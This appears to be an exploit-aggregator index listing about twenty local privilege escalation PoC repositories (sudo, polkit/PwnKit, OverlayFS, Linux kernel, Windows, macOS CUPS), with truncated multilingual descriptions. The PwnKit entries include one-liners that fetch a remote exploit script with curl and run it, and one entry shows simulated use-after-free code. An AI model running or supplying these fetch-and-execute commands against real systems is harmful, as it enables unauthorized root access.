cve-2026-62737-lab

CVE-2026-62737: dal crash a SYSTEM assistito dal laboratorio Un seguito al writeup originale di CVE-2026-62737 ExecutionContext.sys chiamata indiretta arbitraria del kernel. Trasforma la PoC del crash in una catena di token-swap funzionante che avvia cmd.exe come SYSTEM, ma solo in un laboratorio...

CVE-2023-2640-3262-PoC

CVE-2023-2640/3262-PoC Minimale PoCs für lokale Privilegienerweiterung-Schwachstellen in Ubuntu OverlayFS. CVEs CVE-2023-2640 – OverlayFS-Berechtigungsproblem CVE-2023-3262 – OverlayFS-Capability-Eskalationsproblem Dateien CVE-2023-2640.sh – einfacher OverlayFS-Verhaltenstest CVE-2023-3262.sh –...

CVE-2025-8045

CVE-2025-8045 — UAF della coda KCPU della GPU Arm Mali Un exploit di escalation dei privilegi locale per CVE-2025-8045 , una use-after-free nel driver del kernel della GPU Arm Mali kbase. Un processo locale non privilegiato mette in gara il percorso di dump della coda KCPU del CSF per liberare e...

CVE-2021-3156-Project

CVE-2021-3156 — Baron Samedit Estouro de buffer baseado em heap no sudo → Escalonamento local de privilégios Departamento de Cibersegurança ITSOLERA | Estágio Red Team 2026 root@kitploit: ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ███████╗ █████╗ ███╗ ███╗███████╗██████╗ ██╗████████╗...

CVE-2024-1086

CVE-2024-1086 Universeller lokaler Privilegieneskalations-Proof-of-Concept-Exploit für CVE-2024-1086, der auf den meisten Linux-Kerneln zwischen v5.14 und v6.6 funktioniert, einschließlich Debian, Ubuntu und KernelCTF. Die Erfolgsrate beträgt 99.4% in KernelCTF-Images...

POC-Bash-CVE-2021-3560

Bash-CVE-2021-3560 POC Bash -- CVE-2021-3560 Polkit स्थानीय विशेषाधिकार वृद्धि एक्सप्लॉइट यह रिपॉजिटरी CVE-2021-3560 के लिए एक bash एक्सप्लॉइट प्रदान करती है, जो polkit में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जो कई आधुनिक Linux वितरणों को प्रभावित करती है। !!!!!! परीक्षण के दौरान अस्थिरता...

ForgottenButNotGone

Dimenticati ma non scomparsi Questo repository contiene script proof-of-concept per le vulnerabilità presentate al talk "Dimenticati ma non scomparsi: RCE non autenticati e LPE in servizi Linux legacy" del Black Hat USA 2026 e del DEF CON 34. CVE-2026-28372 Escalation locale dei privilegi in...

CVE-2026-0092

CVE-2026-0092 In Package Manager, esiste un possibile bypass del controller di blocco del dispositivo dovuto a un controllo dei permessi mancante. Ciò potrebbe portare a un'escalation locale dei privilegi senza la necessità di privilegi di esecuzione aggiuntivi. L'interazione dell'utente non è...

CVE-2025-50168-pwn2own-berlin-2025

Autor: D4m0n CVE-2025-50168 Este é um exploit submetido ao Pwn2Own Berlin 2025 - Categoria LPE. A vulnerabilidade ocorre em Win32kbase!DirectComposition, e mais detalhes podem ser encontrados no artigo do blog. Agradecimentos Técnica de bypass de kASLR: prefetch-tool por carrotc4k3 Agradecimentos...

copyfail-guard

copyfail-guard Ferramenta di rilevamento e mitigazione automatizzati per la vulnerabilità CVE-2026-31431 "Copy Fail", un'escalation di privilegi locale LPE nel modulo algifaead interfaccia AFALG del kernel Linux. ⚠️ Ambito: questo progetto è puramente difensivo. Non contiene, non genera e non fa...

PwnKit_CVE-2021-4034

PwnKit Eigenständiger Exploit für CVE-2021-4034 - Pkexec Lokale Privilegieneskalation Verwendung Sollte auf anfälligen Linux-Distributionen basierend auf Ubuntu, Debian, Fedora und CentOS sofort funktionieren. root@kitploit: sh -c "$curl -fsSL...

CVE-2026-22009-Linux-eBPF-Map-Locking-Race-Use-After-Free

CVE-2026-22009 – Linux eBPF Map Locking Race → Use‑After‑Free Programmcode C-Simulation root@kitploit: // ebpfmapuaf.c - Simulated concurrent map update/free include include include include void mapdata = NULL; int mapfreed = 0; void updatemapvoid arg // Simulate eBPF program updating map if...

CVE-2025-32463_exploit

CVE-2025-32463 — sudo "chwoot" chroot: elevazione locale dei privilegi Elevazione locale dei privilegi a root in sudo tramite l'opzione --chroot -R. Funziona per qualsiasi utente locale , inclusi gli account senza alcuna voce sudoers ad es. www-data. sudo 1.9.14 – 1.9.17 esegue chroot nella...

CVE-2026-41651

Pack2TheRoot — CVE-2026-41651 Corsa TOCTOU nel gestore delle transazioni di PackageKit. Qualsiasi utente locale non privilegiato può installare pacchetti arbitrari come root senza autenticazione. Panoramica Campo| Valore ---|--- CVE| CVE-2026-41651 Componente| Demone PackageKit packagekitd Versio...

tpwn

tpwn cve-2015-???? poc os x 10.10.5 escalation dei privilegi locali del kernel la vulnerabilità è stata bruciata in 10.11 writeup completo etason shout out a @ unthreadedjb per gli hax Installa NULLGuard per proteggerti da tpwn e altri bug di NULL Pointer Deference...

DirtySlide

DirtySlide LPE macOS: da non privilegiato → root. Una lettura/scrittura OOB di 8 byte in memoria del kernel adiacente a una pagina della shared-cache di dyld, causata da un controllo dei limiti in-page mancante nel v5 slide walk vmsharedregionslidepagev5, raggiungibile tramite la syscall 536...

Windows_LPE_AFD_CVE-2023-21768

CVE-2023-21768 POC di Elevazione dei Privilegi Locale autori: chompie & b33f Solo a scopo dimostrativo. L'exploit completo funziona sui sistemi Windows 11 22H2 vulnerabili. La primitiva di scrittura funziona su tutti i sistemi vulnerabili. Uso: root@kitploit: WindowsAFDLPECVE-2023-21768.exe dove ...

poc-cve-2021-4034

poc-cve-2021-4034 PoC per CVE-2021-4034 soprannominato pwnkit Come usarlo basta eseguire make e poi controllare la cartella release oppure, se preferisci, il comando in una riga sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Divertiti...

CVE-2026-49176_BOF

CVE-2026-49176 BOF per Cobalt Strike BOF Beacon Object File per Cobalt Strike per l'escalation dei privilegi locale tramite Windows WalletService CVE-2026-49176 , corretto a luglio 2026. Da un Beacon a integrità media utente standard, questo strumento prepara un database ESE Wallet dannoso,...

CVE-2026-39875-macOS-CUPS-LPE

CVE-2026-39875-macOS-CUPS-LPE Da utente non privilegiato a root tramite una vulnerabilità in CUPS che interessa macOS Tahoe, Sequoia e Sonoma precedenti a macOS 26.6 / 15.7.8 / 14.8.8. Dimostrazioni del Proof of Concept macOS Tahoe 26.4.1 macOS Sequoia 15.7.5 macOS Sonoma 14.8.5 Causa principale ...